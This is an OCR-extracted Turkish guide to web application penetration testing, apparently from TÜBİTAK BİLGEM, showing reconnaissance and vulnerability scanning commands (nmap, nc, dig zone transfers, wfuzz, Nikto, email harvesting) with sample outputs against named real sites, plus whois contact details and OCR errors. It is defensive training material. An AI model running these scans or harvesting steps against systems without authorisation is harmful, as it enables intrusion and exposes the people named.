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1. WEB UYGULAMA SIZMA TESTIiNIN AMACLARI

Web uygulamalari sizma testleri kapasaminda asagidaki denetlemelerin yapilmasi hedeflenmektedir.

e Veri Denetimi
o Girdidenetimi
o Cikti denetimi
o Degistirilen icerigin tespiti
o HTML etiketlerinin filtrelenmesi
o SQL enjeksiyonu
o Sunucu tarafli girdi denetimi
o URLyodnlendirmeler
o Diger enjeksiyonlar
o XSS enjeksiyonu (XSS Injection)
o HTTP yanit bélme (HTTP response splitting)
e Oturum Yonetimi
o Giris sonrasi oturum bilgisi yenileme, oturum sabitleme
o Cerezlerin igerigi
o Oturum sonlandirma
o Oturum bilgisinin URL i¢inde taginmasi
o Oturum galma (Session riding)
o Siteler arasi istek sahteciligi (Cross-Site Request Forgery, CSRF)
e Kimlik Dogrulama ve Yetkilendirme
o Yetkiartirimi
o Yetkidisi islem
o Sifre politikalari
o Bilenen hesap/sifre bilesenlerinin denenmesi
o Basit kimlik dogrulama kullanimi
o Kimlik dogrulamanin atlatiimasi
o Cikis (Logout) islevi
o Tersine yol (Path traversal)
o Yetki atlatma (Bypass authorization)
o Yetki artirimi (Privilege escalation)
o Uygulama mantigi kontrolleri ( Application logic flaw, business logic flaw)

e Web Servis Testleri
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TASNIF DISI Web Uygulamalar: Sizma Testi Kilavuzu

o Web servislerin tespiti
o Web servisi detay tarama
o REST lizerinden web servisi
o SOAP eklenti testi
o Ajax testi
e Bilgi Sizdirma ve Ayar Yonetimi
o Minimum bilgi prensibi
o Yardim sayfalar
o SSL kullanimi
o HTML yorumlari
o Sunucu bilgisinin kisitlanmasi
o Hata sayfalarinin gésterimi
o Dosya uzantilarinin test edilmesi
o Yedeklenmis ya da unutulmus dosyalar
o Yonetici arayuzu erigim testi
o Desteklenen HTTP metotlari ve XST aciklig
o Sitenin SSL sertifikasinin gegerlilik testi
e Hizmet Digi Birakma
o Guvenlik resmi (Captcha) kullanimi
o Apache hizmet disi birakma saldirisi — Endless connection
o lIstemci talebine uyarinca bellekte nesne olusturmak (User specified object
allocation)

o Fazla veri dondiren islemler

2. WEB UYGULAMA SIZMA TESTININ KAPSAMI

Web uygulamalarina yapilan testler sisteme zarar vermeyecek sekilde, "internet kullanicisi profili" ile
gerceklestirilmistir. Sunucular Gzerinde ¢alisan servislerin ve isletim sisteminin bilinen agikliklarinin
arastirilmasinin yaninda, sistemdeki uygulamalara has givenlik agikliklari da arastirilmistir.

Yapilan giivenlik testleri bilesen tabanl ele alinmistir. Bu testlerde ilk olarak TUBITAK BILGEM
tarafindan derlenen Test Prosedirleri adimlari uygulanmistir. Test prosediirleri ile tespit edilemeyen
acikliklar ise ticari tarama araglari yardimiyla bulunmaya calisiimistir. Bu araglarin bircok yanlis alarmlar
(false positives) verebilecegi hususu g6z onlinde bulundurularak, tespit edilen acikliklar detayh olarak

incelenmistir.
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Guvenlik testlerinin sonugclari aciklk tabanli ele alinmistir. Ana basliklar altinda gruplandirilarak yapilan
calismalar acgiklanmis, bulunan acikliklara deginilmistir. Bilesenlerde sadece tespit edilen acikliklar
Uzerinde durulmus, herhangi bir tehdit veya tehlike arz etmeyen durumlar rapor kapsaminda ele
alinmamigtir. Bu yaklasimdaki amag asil 6nemli noktalara gerekli ilginin ¢ekilebilmesini saglamaktir.

Bu kapsamda asagida detaylandirilan test adimlari gergeklestirilmistir.

e Uzaktan genel tarama araglari ile sunucularin acgik olan servisleri, yama eksiklikleri ve
yapilandirma hatalari aranmistir.

e Uygulama girdisi kontrol testleri (Siteler Otesi Betik Calistirma, Parametre Enjeksiyonu ve
Manipilasyonu) uygulanmustir.

e Parametre bitianlGgi glvenlik kontrolleri denetlenmistir.

e Sistem hakkinda bilgi aciga cikarmaya yonelik testler uygulanmistir.

e Oturum yonetiminde bulunabilecek bazi zafiyetler arastiriimistir.

e Yetkilendirme (URL tabanl) siireglerinde bulunabilecek bazi zafiyetler arastirilmistir.

e Uygulamanin bulundugu sunucu Uzerinde konuslanmis diger servisler kullanilarak bilgi
edinilmeye calisiimistir.

e llgili veritabanlari izerinde tutulan, uygulamadaki yetkili kullanici hesaplari elde edilmeye
cahsiimistir.

e Parola politikalari incelenmistir.

3. ADIM ADIM WEB SIZMA TESTLERI

Web Sizma Testleri kurumun disariya agilan kapilarindan birini kontrol eden bir test turiidur. Test
edilen bu kapida olusacak bir agiklik kurum icerisine sizma, kritik bilgileri edinme, kritik bilgileri silme,
kritik bilgileri maniplile etme gibi ya da web uygulamasini hack’leme, sizilan sunucudan ayni
network’teki baska cihazlara atlama gibi vakalarla sonuclanabilir. Dolayisiyla bu gibi risklerle

karsilasmamak icin web sizma testleri asagidaki adimlarin uygulanmasi suretiyle gerceklestirilir:

Genel Olarak Web Uygulama Sizma Testi Adimlari
1. Bilgi Toplama (Information Gathering)
Otomatize Araglarla Zafiyet Tarama (Automatic Vulnerability Scanning)
Elle Zafiyet Tarama (Manual Vulnerability Scanning)

2

3

4. Acikhklari Somiirme (Exploitation)

5. Yetki Yiikseltme (Privilege Escalation)
6

Kaliciligi Saglama (Maintaining a Foothold)
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7. izleri Temizleme (Clearing Tracks)

Yukarida siralanan web pentest adimlari tamamlandiginda ihtiya¢c goriildiigi takdirde tekrar basa

donip yeni hedefler icin ayni adimlar izlenebilir.

3.1 BIiLGIi TOPLAMA

3.1.1 BILGI TOPLAMA ARACLARI

Fingerprinting
- Http Response Header
Burp
telnet
nc
curl
-Nmap
- netcraft.com
- Chrome Wapplyzer plug'ini
- Google Dork

- Site IP'sine Baglanma

Options Methodu Agik mi Kontroli
- Burpsuite
- telnet
-nc
- curl

- nmap

Neighbour Site Detection
- Dig
- Bing
- https://majestic.com/reports/neighbourhood-checker (Artik Ucretli Olmus)
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Email Address Disclosure
- Free Email Extractor
- Email Extractor Pro

- Theharvester

Subdomain Tespiti
- Google dork
- Fierce Tool'u

- dig Tool'u

Dizin Tespiti
- Dirbuster

- wfuzz

Login Panel Tespiti
- Google Dork

- Dirbuster

Trace Metodu Agik mi Kontroli

- telnet

- curl

Dosyalardan Metadata Toplama

- FOCA

Paste Bin'den Bilgi Toplama

- Google Dork

Domain Sahibinin Bilgisini Toplama

- whois tool'u

Kisi Arama ve Bilgi Edinme

- Pipl.com

// Http siteleri icin

// Https siteleri igin

// Dictionary Attack

// Zone Transferi

// Url Fuzzing

// Specific Url Fuzzing

// Kullanisl bilgiler raporlanir.

// Sosyal Miihendislik igin
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Uptime Siiresini Ogrenme

- hping3

Dizin Goruntileme Tespiti

- Google Dork

Http ve Https Beraber mi Kullaniliyor Tespiti

- URL Denemeleri

Kullanilan SSL / TLS Protokollerinin Tespiti
- nmap // Nmap "ssl-enum-ciphers" script'i

- Online SSLTest Web Uygulamasi

3.1.2 BILGI TOPLAMA ARACLARININ KULLANIMI

m Fingerprinting
e Http Response Header

a. Burpsuite
HTTPS siteleri icin repeater 6zelligi kullanilarak response header'lara
bakilabilir.
Not:
Eksik Http Talebinde de Bulun
HTTPS sitelerine repeater sekmesinden eksik (bozuk) bir http talebinde de
bulunarak dénen https hata yanitlarinin body'sinde fingerprinting bilgileri

geliyor mu kontroli yapilabilir.

b. Telnet Tool
telnet www.includekarabuk.com 80
Output:
Trying 46.45.187.221...
Connected to includekarabuk.com.

Escape characteris 'A]'".
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HEAD / HTTP/1.0 // iki kere enter'lanir.
HTTP sitesine telnet ile http talebinde bulunulur. Gelen http yanitinin

header kisminda ise fingerprinting bilgileri gelir.

Not:

Hem HTTP/1.0't hem de HTTP/1.1'i Dene

Eger hedef sistem HTTP/1.0 kullaniyorsa telnet ile GET / HTTP/1.1 talebi
yaptigimizda 400 Bad Request hatasi donecektir ve tim header'lar ekrana
gelmeyecektir. Halbuki GET / HTTP/1.0 talebi yaptigimizda tiim header'lar
ekrana gelecektir. Yani hedef sistemin kullandigi tiim header'lari gorebilmek

icin telnet ile hem HTTP/1.0' hem de HTTP/1.1'i denemekte fayda var.

c. Netcat Tool

nc www.includekarabuk.com 80 // iki kere enter'lanir.
HTTP sitesine Netcat ile eksik http talebinde bulunulur. Gelen http yanitinin

body'sinde uyari mesaji ve altinda ise fingerprinting bilgileri gelir.

Not:

Hem telnet'i hem nc 'yi DENE (!)

Clinku telnet ile dlizglin bir http request yaparken nc ile http methodu
belirtmedigimiz igin eksik bir http request yapmaktayiz. O ylzden telnet ile
gelen http response normal bir http response olacakken nc ile gelen http
response hata kodu barindiran bir http response olacaktir. Dolayisiyla telnet
ile server bilgilerini 6grenemesek bile nc ile yaptigimiz bozuk pakete karsihk

gelen http response'dan server bilgilerini alabiliriz.

d. Curl Tool

e Nmap

curl -i -X HEAD http://www.includekarabuk.com
HTTP sitesine curl ile http head talebinde bulunulur. Gelen http yanitinda

ise fingerprinting bilgileri gelir.

nmap -sV -0 -A www.includekarabuk.com
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e netcraft.com

e Chrome Wapplyzer plug'ini

® Google Dork
Arama Kutusu:
// Server Bilgisini Ogrenme

intitle:index.of "server at" site:domainaddress.edu.tr

// Hedef web uygulamasinin kullandigi web teknolojisini 6grenme
site:www.domainaddress.net asp

site:www.domainaddress.net php

site:www.domainaddress.net jsp

site.www.domainaddress.net aspx

e Site IP'sine Baglanma
http://X.X.X.X // Varsayilan web server yazilim sayfasi goriintulenebilir.

// e.g. IIS. Boylece web server software tespiti yapilabilir.

m Options Methodu Agik mi Kontrolii
a. Burpsuite

HTTPS siteleri igin Options talebi Burp'un Repeater 6zelligi ile yapilabilir.

b. telnet
HTTP siteleri icin telnet ile Options talebi yapabiliriz.
telnet www.includekarabuk.com 80
Output:
Trying 46.45.187.221...
Connected to includekarabuk.com.
Escape character is 'A]".

OPTIONS / HTTP/1.0 // Bu satir girilir ve iki kere enter'lanir.

OPTIONS methoduyla yaptigimiz http talebi sonrasi http yaniti déner ve header'da

OPTIONS bilgisi varsa hedef sistemde izinli tim http methodlari 6grenilir.
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HTTP siteleri icin netcat ile Options talebi yapabiliriz.
nc www.includekarabuk.com 80
Output:

OPTIONS / HTTP/1.0

Host: www.includekarabuk.com // Bu satir girilir ve iki kere enter'lanir.

OPTIONS methoduyla yaptigimiz http talebi sonrasi http yaniti doner ve header'da

OPTIONS bilgisi varsa hedef sistemde izinli tim http methodlari 6grenilir.

Not: Telnet ve Netcat'te Hem HTTP/1.0 't hem de HTTP/1.1 'i DENE (!)

Clnk telnet ile OPTIONS / HTTP/1.0 talebi yaptigimizda izinli http methodlar
bilgisi gelebilirken OPTIONS / HTTP/1.1 talebi yaptigimizda izinli http
methodlari bilgisi gelmeyebilir. Bu olay egitim.sge.gov.tr sitesine yaptigim
pentest'te basima gelmistir. Telnet ile OPTIONS / HTTP/1.0 talebi yaptigimda
izinli http methodlar bilgisi gelirken HTTP/1.1 kullanildiginda gelmedigi
gorlilmustir. Dolayisiyla ikisini de denemekte fayda var. Burp'de ise bu
denemeleri yapmaya gerek yoktur, ¢linkl burp ile web uygulamasinin kendi
Urettigi http talebini kullanmaktayiz. Yani burp ile (izerinde oynamalar
yapacagimiz http talebinde kabul géren http versiyonu zaten yer alacaktir.
Dolayisiyla hedef web uygulamasi http 1.0 mi 1.1 mi hatasini yapma sansimiz
yoktur.

d. curl

HTTPS siteleri icin curl ile Options talebi yapabiliriz.
curl -i -X OPTIONS http://www.includekarabuk.com
OPTIONS methoduyla yaptigimiz http talebi sonrasi http yaniti déner ve header'da
OPTIONS bilgisi varsa hedef sistemde izinli tim http methodlari 6grenilir.
e. nmap

Nmap tool'u ile de Options talebi yapabiliriz.

nmap --script=http-methods -p 80,443 www.includekarabuk.com

TUBITAK - BILGEM
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nmap --script=http-methods --script-args http-methods.url-

path='/kitaplik/resimler/upload' -p 80,443 www.includekarabuk.com

OPTIONS methoduyla yaptigimiz http talebi sonrasi http yaniti doner ve header'da

OPTIONS bilgisi varsa hedef sistemde izinli tim http methodlari 6grenilir.

m Neighbour Site Detection

a. Dig

dig -x website-ip // Reverse DNS Replication

Ornek Kullanim;

// docs.elit.ma3.gov.tr’'nin Komsusunun Bulunmadigi Tespiti
> dig A docs.elit.ma3.gov.tr
Cikti:

; <<>> DiG 9.11.3-1ubuntul.18-Ubuntu <<>> A docs.elit.ma3.gov.tr

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43965

;; flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:

;docs.elit.ma3.gov.tr. IN A
;; ANSWER SECTION:
docs.elit.ma3.gov.tr. 0 IN A 193.140.74.112

;; Query time: 0 msec

;; SERVER: 127.0.0.53#53(127.0.0.53)
;3 WHEN: Fri Feb 24 11:29:14 +03 2023
;; MSG SIZE rcvd: 65

> dig -x 193.140.74.112
Cikti:

; <<>> DiG 9.11.3-1ubuntul.18-Ubuntu <<>>-x 193.140.74.112

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60912

;; flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: O, ADDITIONAL: 1

;; OPT PSEUDOSECTION:

TUBITAK - BILGEM

12



TASNIF DISI Web Uygulamalar: Sizma Testi Kilavuzu

; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;112.74.140.193.in-addr.arpa. IN PTR

;; ANSWER SECTION:

112.74.140.193.in-addr.arpa. 0 IN PTR docs.elit.ma3.gov.tr.

;; Query time: 0 msec

;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Fri Feb 24 11:24:50 +03 2023
;; MSG SIZE rcvd: 90

b. Bing

Arama Kutusu:

ip: X.X.X.X // Hedef Site IP

c. https://majestic.com/reports/neighbourhood-checker

(Artik Gcretli olmus)

m Email Address Disclosure
a. Free Email Extractor

Http siteleri icin eposta adresleri elde etme programidir.

# Free Email Extracto

= ExportEmailList

Extract Email  About The Software

Input Starting URLs to Extract Email Wiebsite Scope

“Website Scope” is used to avoid to extract emails from websites you dont want to. For example: you want to extract emails from Craigslist Boston
"hittp://boston.craigslist.org/pta/™ and you only want to extract emails from “boston”. Then you can Tjinput above ur in textbox of “Input Starting
URLsto Extract Email" , and 2)input "boston” in textbox “Webste Scope”. 1t's OK now, and just 3jpress "Stat” button to begin extracting.

P Stat| B Pause/Contue L) Siop | ClearURLQueus |  Status:Het Started

E-Mail Patiem

["a2A-Z0-9)2<wm>[azA-Z0-9_12,201@[A-Za20-9_}3 200\ a2A-Z0-9_})["a2A-Z09_]

Thread Num ' 5 Threads 1) Thread Num*: Number of concument threads. The larger, and the faster ta
extract emails. Set it before extract and cant be changed during extracting. The
appropriate value of thread number depends on specfic webstes. I's possble

your P is banned  you set it too big. 2)°Interval®: the inverval timefin milseconds
Interval ' 200 milisec between each web page accesstothe next. The smaller it is, the faster to extract
emails. The appropriate value of Interval time depends on specfic webstes. s
possible your IP is banned i you set it too short

Num extracted: 0 URL extracting:

TUBITAK - BILGEM
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Not: Elde edilen eposta adresleri bir txt dosyasina export edilebilmektedir.

Not: Sadece Windows 8 ve Windows 10'da g¢alisabilmektedir.

https://free-email-extractor.en.softonic.com

b. Email Extractor Pro

Https siteleri icin email adresleri

elde etme programidir.

g =

&3
00 HD L S5

Start  Stop Save  Clear Load Clear
Search Emails ~ Results | Sites  Sites
&

Free Emal Extractor

SearchEngine | Website | UrlList | Website Owners | Email Accounts | Local Files | Settings

@@ -

Websites
https://fwww.b3lab.org

Options

Scan depth 7
Delay, sec 0z

| only this domain
only this /folder/

1| http: f/b3s.b3lab.org/

2 http:f/b3s.b3ab.org/

3 https://waww.b3lab.orgfiletisim/

4 http: f/plus.google.com/share?url=https % 3a%2f% 2fwww.b3lab. org%2f20...

Item Depth
b3lab@arupmice.com

b3lab.iletisim @tubitak. gov. tr 2
b3ab.iletisim@b3iab.org 2
c.height-this.g@-this.Ba 3

Not: Email Extractor Pro yazilimi freeware'dir. Lisansli siriimtinden tek farki elde edilen eposta

adreslerinin bir dosyaya export edilememesidir.

c. Theharvester Tool

theharvester -d domainaddress.

17T =TT |

oy =

edu.tr -b all -1 300

(Arama motorlari robotlari engelleme moduna gegtiginden

theharvester artik sonug ¢ikaramiyor)

m Subdomain Tespiti
a. Google dork

Arama Kutusu:

site:*.domainaddress.edu.tr

TUBITAK - BILGEM
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b. Fierce Tool

Kendi igindeki sozlik ile subdomain tespiti yapmaya galisir:

Kali:
fierce -dns domain.edu.tr // www 'yi koyma (!)
// Yoksa fierce calismaz.

Verdigimiz s6zlik ile subdomain tespiti yapmaya galisir:

Kali:
fierce -wordlist deneme.txt -dns domain.edu.tr // www 'yi koyma (!)
// Yoksa fierce calismaz.

Subdomain'leri bu sekilde tespit ederek scope'umuzu belirlemis oluruz.

Not: Sozliik dosyasi bulmak icin google'da subdomain dictionary diye aratabilirsin.
c. Dig Tool

Dig tool'u ile zone transfer yaparak hedef sistemin yetkilli dns sunucusundaki tim

dns kayitlarini gekebiliriz. Boylece hedef sistemin sahip oldugu tim subdomain'leri

elde edebiliriz.

dig ns website-url

dig axfr website-url @website-dns

Eger hedef sistemin dns sunucusu zone transfere acgiksa tim dns kayitlari ekrana

gelecektir.

m Dizin Tespiti

Dirbuster recursive olarak her dizinde fuzzing denemeleri yapabiliyorken wfuzz sadece

belirttigimiz dizinde fuzzing denemesi yapabilmektedir.

a. Dirbuster

Dizin kesfi igin sozllkler

TUBITAK - BILGEM
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- Jusr/share/wordlists // Dirbuster + Wfuzz + SQLi + ...
- Jusr/share/dirbuster/wordlists // Dirbuster
- Jusr/share/wfuzz/wordlist // Wfuzz

- /usr/share/metasploit-framework/data/wordlists

dizinlerinden veya

- https://github.com/digination/dirbuster-ng/tree/master/wordlists

(common.txt) // Kullanisli olan bu

adresinden elde edilebilir. Dirbuster ile sozliik bazli dizin kesfi yapilabildigi

gibi brute force bazl da dizin kesfi yapilabilmektedir.

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help

Target URL (eg http:/fexample, com:80/)
[http:/iwww.includekarabuk. com

Work Method () Use GET requests only (=) Auto Switch (HEAD and GET)
Number Of Threads 10 Threads [ | Go Faster
Select scanning type: (3 |List based brute force § () Pure Brute Force
File with list of dirsffiles
[ X €L Browse | ‘ @ List Info |
——
l.-\,‘,, - ‘-“. Max Lengtt
Select starting options: (%) standard start point () URL Fuzz
Brute Force Dirs [“] Be Recursive Dir to start with ‘l |
[¥] Brute Force Files [ ] Use Blank Extension File extension ‘php |
fuzz - ft tmi?url=q{
[ &ledi | | P start |
DirBuster Stopped /mailman/admin/2222.php
b. wfuzz

Wfuzz kullanimi asagidaki gibidir:

Kali :
wfuzz.py -c -z file,wordlist/general/big.txt -b PHPSESSID=vil9comq16cq7dtd
7tdf7 --hc 404 http://vulnerable-web-site/FUZZ

-b 'yi koymasan da olur.

Url Fuzzing icin s6zlUkler /usr/share/wfuzz/wordlist dizininden elde edilebilir.
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m Login Panel Tespiti
a. Google dork
Arama Kutusu:
// Login panellerin tespitini yapar

site:domainaddress.edu.tr login

// Admin panellerinin tespitini yapar

site:domainaddress.edu.tr inurl:"/admin/"

b. Dirbuster
Admin panel tespiti icin Dirbuster'da wfuzz'in asagidaki s6zIGgl kullanilabilir.

/usr/share/wfuzz/wordlist/general/admin-panels.txt

m Trace Metodu Acgik mi Kontroli
a. telnet
Http siteleri igin trace metodu agitk mi kontroliinii telnet ile yapabiliriz. Orn;
> telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.

Escape character is 'A]".

TRACE / HTTP/1.0 // Bu girilir.
Host: localhost // Bu girilir
Test: A // Bu girilir.
Test: B // Bu girilir.
Output:

HTTP/1.1 200 OK

Date: Thu, 29 Mar 2018 11:32:30 GMT
Server: Apache/2.4.7 (Ubuntu)
Connection: close

Content-Type: message/http

TRACE / HTTP/1.0
Host: localhost

Test: A, B
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Gorildigu tzere gonderilen trace talebi sonrasi gelen http yanitinin body'sinde trace
talebi oldugu gibi geri yansitilmigtir. Bu yansima hedef web uygulamasinda trace

metodunun acik oldugu anlamina gelir.

b. curl
HTTPS siteleri icin trace metodu acik mi kontroliinii curl ile yapabiliriz. Orn;
> curl -i -X TRACE -H "Test:TUBITAK-SGE, Test:TUBITAK-PENTEST"

https://www.domainaddress.org

Yukaridaki komut asagidaki gibi bir http talebinde bulunmaktadir:

TRACE / HTTP/1.1

User-Agent: curl/7.35.0

Host: www.domainaddress.org
Accept: */*

Test: TUBITAK-SGE

Test: TUBITAK-PENTEST

Ciktr ise su sekilde olacaktir:

Output:

HTTP/1.1 200 OK

Date: Tue, 27 Mar 2018 08:20:23 GMT
Server: Apache

Connection: close

Transfer-Encoding: chunked

Content-Type: message/http

TRACE / HTTP/1.1

User-Agent: curl/7.35.0

Host: www.domainaddress.org
Accept: */*

Test: TUBITAK-SGE, Test:TUBITAK-PENTEST
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Gorildiagu tzere gonderilen trace talebi sonrasi gelen http yanitinin body'sinde trace
talebi oldugu gibi geri yansitilmigtir. Bu yansima hedef web uygulamasinda trace

metodunun agik oldugu anlamina gelir.

m Dosyalardan Metadata Toplama

FOCA

m Paste Bin'den Bilgi Toplama
Arama Motoru:

site:pastebin.com intext:"domainaddress.edu.tr"

m Domain Sahibinin Bilgisini Toplama
Kali:
> whois domainaddress.edu.tr
Output:
** Registrant:
Ankara Universitesi
Dogol Cad.Tandogan
06100
Ankara,

Tirkiye
ayhan@ankara.edu.tr
+90-312-2121023-
+90-312-2143465

** Administrative Contact:

NIC Handle :au432-metu

Organization Name : Ankara Universitesi

Address : De Gol Caddesi
Tandogan

Ankara, 06100

Turkiye
Phone 1 +90-312-2121023-3016
Fax 1+ 90-312-2153465-
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** Technical Contact:

NIC Handle
Organization Name

Address

Phone

Fax

** Billing Contact:
NIC Handle
Organization Name

Address

Phone

Fax

** Domain Servers:

:aud32-metu
: Ankara Universitesi
: De Gol Caddesi
Tandogan
Ankara, 06100
Tirkiye
1 +90-312-2121023-3016
1+ 90-312-2153465-

:au432-metu
: Ankara Universitesi
: De Gol Caddesi
Tandogan
Ankara, 06100
Tirkiye
:+90-312-2121023-3016
:+90-312-2153465-

nsl.ankara.edu.tr 80.251.40.10
ns2.ankara.edu.tr 80.251.40.11
** Additional Info:

Created on..............: 1999-Apr-30.
Expires on..............: 2018-Apr-29.

m Kisi Arama ve Bilgi Edinme

- Pipl.com

m Uptime Siiresini Ogrenme

Kali:

> hping3 -S --tcp-timestamp -p 80 -c 2 domainaddress.edu.tr

// Sosyal Mihendislik igin
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Output:

HPING domainaddress.edu.tr (eth0 193.140.9.31): S set, 40 headers + 0 data
bytes len=56 ip=193.140.9.31 tt|=123 DF id=27721 sport=80 flags=SA seq=0
win=8192 rtt=15.8 ms

TCP timestamp: tcpts=2029166208

len=56 ip=193.140.9.31 ttI=123 DF id=28681 sport=80 flags=SA seq=1
win=8192 rtt=11.6 ms

TCP timestamp: tcpts=2029166308

HZ seems hz=100

System uptime seems: 234 days, 20 hours, 34 minutes, 23 seconds

--- domainaddress.edu.tr hping statistic ---
2 packets tramitted, 2 packets received, 0% packet loss

round-trip min/avg/max = 11.6/13.7/15.8 ms

Uptime sliresine bakarak hedef sistemin ne zamandan beri agik oldugunu goérebilir, boylece hedef

sistemin glincellestirme yapip yapmadigini anlayabiliriz. Eger uptime ¢ok siresi ¢ok fazla ise uzun

zamandir hedef sistem restart yapmiyor demektir. Yani hedef sistem son giincellestirmeleri

yapmamistir demektir.

m Dizin Gorlntlleme Tespiti

Google Dork

Arama Kutusu:

intitle:index.of site:domainaddress.edu.tr

m Kullanilan SSL / TLS Protokollerinin Tespiti

a. Nmap

Hedef web uygulamasinin veri iletiminde kullandigi sifreleme protokolinin ne

oldugunu saptar.

> nmap --script ssl-enum-ciphers -p 443 www.domainaddress.org

Cikti:

Starting Nmap 6.40 ( http://nmap.org ) at 2018-03-29 16:38 +03

Nmap scan report for www.b3lab.org (193.140.88.2)
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Host is up (0.0090s latency).

PORT STATE SERVICE
443 /tcp open https

| ssl-enum-ciphers:

| SSLv3: No supported ciphers found

| TLSv1.0:

| ciphers:

|  TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong

|  TLS_DHE_RSA_WITH_AES_128 CBC_SHA - strong

|  TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong

|  TLS_DHE_RSA_WITH_CAMELLIA_128 CBC_SHA - strong

| compressors:

| NULL

| TLSv1.1:

| ciphers:

|  TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong

|  TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong

|  TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong

| compressors:

| NULL

| TLSv1.2:

| ciphers:

|  TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong

|  TLS_DHE_RSA_WITH_AES 128 CBC_SHA - strong

|  TLS_DHE_RSA_WITH_AES_128 CBC_SHA256 - strong

| compressors:

| NULL

| _ least strength: weak
SSLv1, SSLv2, SSLv3 ve TLSv1.0 zafiyete sahip sifreleme protokolleri oldugundan bunlardan biri ¢iktida
yer alirsa glivenli olmayan veri iletimi glivenlik protokoli kullaniliyor demektir. Ciktida gorildigi Gizere
web uygulamasi TLSv1.0" kullanmaktadir. Dolayisiyla web uygulamasi zafiyete sahip bir sifreleme

protokolil kullaniyor demektir.
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TLSv1.1 ve TLSv1.2 glvenli sifreleme protokolleridir. Web uygulamasi bu gilivenli protokolleri
kullaniyorken ayni zamanda TLSv1.0" da kullandigi i¢in glivenli olmayan sifreleme protokoli kullaniyor

demektir.

b. Online SSLTest Web Uygulamasi
Asagidaki online ssl test uygulamasi da kullanilabilir.

https://www.ssllabs.com/ssltest/

Tarama sonrasi sayfanin asagilarindaki "Configuration" bashgi altinda yer alan "Protocols" kismina gz

atilabilir. Boylece disable ve enable olan sifreleme protokolleri gérilebilir.

3.2 OTOMATIZE ARACLARLA ZAFIYET TARAMA

3.2.1 ZAFIYET TARAMA ARACLARI

- Nmap

- Netsparker

- Acunetix

- Nikto

- Arachni

- Burpsuite

- Owasp ZAP

- Microsoft Baseline Security Analyzer 2.3 // Windows and IS Auditor

- Nessus (with Web Vuln Scanning Plugins) // Normally Nessus is a network vuln scanner

3.2.2 ZAFIYET TARAMA ARACLARININ KULLANIMLARI

m Nmap

[[ Not: Asagidakileri calistirdiginda WAF / IPS / IDS tarafindan engellenebilirsin. ]]
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// Komple Http Zafiyetlerini Tarama

> nmap -v --script=http-vuln* Sip // Sip (or Sdomain without http)

// Nmap Default Script’lerle Tarama

> nmap -sS -sV --script=default,vuln -p- -T 5 Sip // Slowloris Kontrolt de Yapiyor

// FTP Zafiyetlerini Tarama

> nmap -v --script=ftp-* -p 21 Sip

// Komple Sunucu Servislerinin Zafiyetlerini Tarama

> nmap -v -T4 --script="*-vuln-*" Sip

m Netsparker

m Acunetix

m Arachni
I. YOntem
// Vuln Scanning Completely (Console)
> cd arachni

> ./arachni https://www.domainaddress.gov.tr

// Reading Report (Console)
> chmod 777 "www.domainaddress.gov.tr 2018-03-01 22_02_04 +0300.afr"
> ./arachni_reporter "www.domainaddress.gov.tr 2018-03-01 22_02_04 +0300.afr"

Il. Yontem
// Vuln Scanning Completely (Web Interface)

> ./arachni_web

Output
Puma 2.14.0 starting...
* Min threads: 0, max threads: 16

* Environment: development
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* Listening on tcp://localhost:9292

Login Bilgileri

http://localhost:9292
Administrator account
E-mail: admin@admin.admin

Password: administrator

Regular user account
E-mail: user@user.user

Password: regular_user

// Reading Report
[ Over Web Interface ]

m Nikto
!/ NiKTO iLE KOMPLE ZAFiYET TARAMASI (DEFAULT TARAMA)

> nikto -h https://www.domainaddress.gov.tr -o www-domainaddress-gov-tr.htm

-h : Taranacak host

-C : Muhtemel dizinlerde tespiti // all ile muhtemel tim dizinler denenir
-Display : islem ciktisi // P degeri ile progress durumu stdout'a verilir.
-0 : Dosyaya Ciktilama

Output:

- Nikto v2.1.6

+ Target IP: XX XX

+ Target Hostname: www.domainaddress.gov.tr

+ Target Port: 443

+ SSL Info: Subject: /C=TR/L=Kocaeli/O=TUBITAK BILGEM/CN= domain.gov.tr
Ciphers: ECDHE-RSA-AES256-GCM-SHA384
Issuer: /C=US/O=GeoTrust Inc./CN=GeoTrust SSL CA - G3
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+ Start Time: 2018-03-01 13:51:11 (GMT3)

+ Server: Apache

+ Uncommon header 'referrer-policy' found, with contents: no-referrer

+ Uncommon header 'content-style-type' found, with contents: text/css

+ Uncommon header 'content-script-type' found, with contents: text/javascript

+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ The Content-Encoding header is set to "deflate" this may mean that the server is
vulnerable to the BREACH attack.

+ /config.php: PHP Config file may contain database IDs and passwords.

+ Uncommon header 'x-accel-buffering' found, with contents: no

+ Server leaks inodes via ETags, header found with file /auth/, fields: 0x0 0x5642abd024580
+ OSVDB-3092: /auth/: This might be interesting...

+ OSVDB-3092: /lib/: This might be interesting...

+ OSVDB-3092: /login/: This might be interesting...

+ OSVDB-3092: /INSTALL.txt: Default file found.

+ OSVDB-3233: /icons/README: Apache default file found.

+ 7579 requests: 0 error(s) and 13 item(s) reported on remote host

+ End Time: 2018-03-01 13:54:31 (GMT3) (200 seconds)

+ 1 host(s) testeds

// NiKTO iLE SPESIFIK ZAFIYET TARAMASI

> nikto -h https://www.domain.gov -C all -T 2 -Display P -o www-domain-gov.htm

-h : Taranacak host
-C : Muhtemel dizinlerin tespiti  // all ile muhtemel tim dizinler denenir
-Display : islem ciktisi // P degeri ile progress durumu stdout'a verilir.
-0 : Dosyaya Ciktilama
-T : Komple tarama yerine sadece spesifik bir zafiyet taramasi yapma. Aldig1 degerler
sunlardir:
0 - File Upload
